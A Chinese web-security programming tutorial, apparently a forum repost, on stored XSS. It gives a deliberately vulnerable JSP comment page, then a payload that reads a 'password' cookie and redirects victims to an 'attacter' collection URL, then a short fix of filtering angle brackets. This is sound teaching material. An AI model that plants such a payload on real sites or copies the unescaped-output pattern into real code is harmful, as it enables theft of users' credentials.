首页 | 新闻 | 新品 | 文库 | 方案 | 视频 | 下载 | 商城 | 开发板 | 数据中心 | 座谈新版 | 培训 | 工具 | 博客 | 论坛 | 百科 | GEC | 活动 | 主题月 | 电子展
返回列表 回复 发帖

Web 安全编程实战(2)

Web 安全编程实战(2)

问题代码 --- 保存型 XSS 漏洞保存型 XSS 漏洞的危害会更大,它是将攻击脚本保存到被攻击的网页内,所有浏览该网页的用户都要执行这段攻击脚本。
这个例子,模仿了一个论坛发表评论的网页。对于用户的评论,系统不加任何限制和验证,直接保存到服务器的数据库中(例子使用全局对象代替数据库,作为例子演示)。并且当有其他用户查看网页时,显示所有评论。
清单 4. saveXSS.jsp 主要代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<jsp:useBean id="tl" scope="application" class="java.util.LinkedList"></jsp:useBean>
<%
String topic = (String)request.getParameter("topic");
if (topic != null && !topic.equals(""))
{
tl.add(topic);
}
%>
<div>
<% for(Object obj : tl)
{
String str = (String)obj;
%>
<div><%=str%><div/>
<% } %>
</div>
<form action="saveXSS.jsp" method="post">
评论:<input type="text" name="topic"/><br>
<input type="submit" value="提交"/>
</form>




这里用了一个应用级的 List 对象存放评论列表,只是为了演示方便。用户可以在 form 中编写评论内容,提交到同一页面 saveXSS.jsp,提交以后,List 对象增加这个评论,并且显示出来。
问题分析
这个程序符合了保存型 XSS 攻击的所有条件,没有限制评论内容,程序会保存所有评论,显示给查看网页的用户。只要攻击者将攻击脚本作为评论内容,那么所有查看评论的用户都将执行这段攻击脚本而受到攻击。
攻击此程序
攻击这个程序所需要设计的攻击脚本和上文的错误显示内容一样,但是需要注意的是这次不需要编码,%20 改为空格,而 %2B 则变为 +,原因是上例是通过 URL 传递数据,而本例是直接通过表单传递数据,攻击脚本:<script>var mess = document.cookie.match(new RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="+mess</script>,将这个内容作为评论发表,那么当其他用户查看这个网页时,攻击脚本代码被当做内容嵌入到网页中,攻击脚本就被触发执行,用户就会受到攻击,脚本执行过程和反射型 XSS 攻击一致。
图 4. 评论界面发表的内容是攻击者设计的一个攻击脚本,这个脚本被直接保存到了网页中。任何查看此页面的其他用户,他们的信息都会被盗取。
图 5. 提交攻击脚本>解决方法
对于保存型 XSS 漏洞,由于我们无可避免的需要显示用户提交的数据,所以过滤是必然的,过滤 < 和 > 等符号可以避免上述漏洞的发生。
返回列表